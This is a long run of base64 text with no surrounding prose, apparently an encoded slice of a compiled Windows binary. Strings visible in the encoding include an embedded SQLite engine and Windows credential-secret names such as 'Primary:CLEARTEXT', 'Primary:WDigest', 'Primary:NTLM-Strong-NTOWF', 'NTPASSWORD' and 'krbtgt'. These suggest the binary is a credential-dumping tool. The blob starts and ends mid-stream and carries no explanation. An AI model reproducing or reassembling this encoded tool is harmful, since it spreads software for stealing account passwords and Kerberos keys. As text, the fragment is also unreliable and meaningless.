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AABUAAAAGAAAACgAAABwAAAASAAAAJgAAABYAAAAYAAAABABAAAAAAAAcAAAALgAAAC8AAAAgAAAAJAAAADYAAAAsAAAAAgBAADAAAAAyAAAAAgBAAAAAAAAcAAAALgAAAC8AAAAgAAAAJAAAADYAAAAsAAAAAABAADAAAAAyAAAABgBAAAAAAAAcAAAAMgAAADMAAAAkAAAAKAAAADoAAAAwAAAABABAADQAAAA2AAAAFABAAAAAAAAcAAAAMgAAADYAAAAgAAAAJAAAAD4AAAAwAAAAEgBAADgAAAA6AAAAGABAAAAAAAAcAAAANgAAADoAAAAkAAAAKAAAAAIAQAA0AAAAFgBAADwAAAA+AAAAJAAAAA4AAAAaAAAAIAAAAAAAAAACAAAAMAAAAA4AAAAmAAAALAAAAAAAAAACAAAANAAAAA4AAAAqAAAAMAAAAAAAAAACAAAAPBCDIABAAAAYAAAAJgAAAAIAQAAGAEAACgBAAA4AQAAQAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAABwAAAAeAAAAIAAAACIAAAAyAAAANAAAADYAAAABAEAABABAAAIAQAAIAEAAAAAAAD4AAAAAAAAABgAAAAAAAAAEAAAAAAAAAAoAAAAAAAAADQAAABIAAAAOAAAAAAAAABQAAAAiAAAAPgAAAAQAQAAKAEAAEABAABIAQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAiAAAAJAAAAC4AAAAwAAAAMgAAAD0AAAAAAEAAPgAAAAQAQAAAAAAAOgAAAAAAAAAGAAAAAAAAAAQAAAAAAAAACgAAAAAAAAANAAAAEgAAAA4AAAAAAAAAEAAAAB4AAAA6AAAAAABAAAYAQAAMAEAADgBAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACIAAAAkAAAALgAAADAAAAAyAAAAPQAAAAAAQAA+AAAABABAAAAAAAA2AAAAAAAAAAoAAAAAAAAABgAAAAAAAAAMAAAAAAAAAA4AAAAWAAAAEAAAAAAAAAAQAAAAHgAAADoAAAAAAEAABgBAAAwAQAAOAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAACAAAAAkAAAAJgAAACgAAAAyAAAANAAAADYAAAABAEAABABAAAIAQAAIAEAAAAAAADYAAAAAAAAACgAAAAAAAAAGAAAAAAAAAAwAAAAAAAAADgAAABYAAAAQAAAAAAAAABAAAAAeAAAAOgAAAAAAQAAGAEAADABAAA4AQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAIAAAACQAAAAmAAAAKAAAADIAAAA0AAAANgAAAAEAQAAEAEAAAgBAAAgAQAAAAAAANgAAAAAAAAAKAAAAAAAAAAYAAAAAAAAADAAAAAAAAAAQAAAAGAAAABIAAAAAAAAAEgAAACIAAAAGAEAADABAABIAQ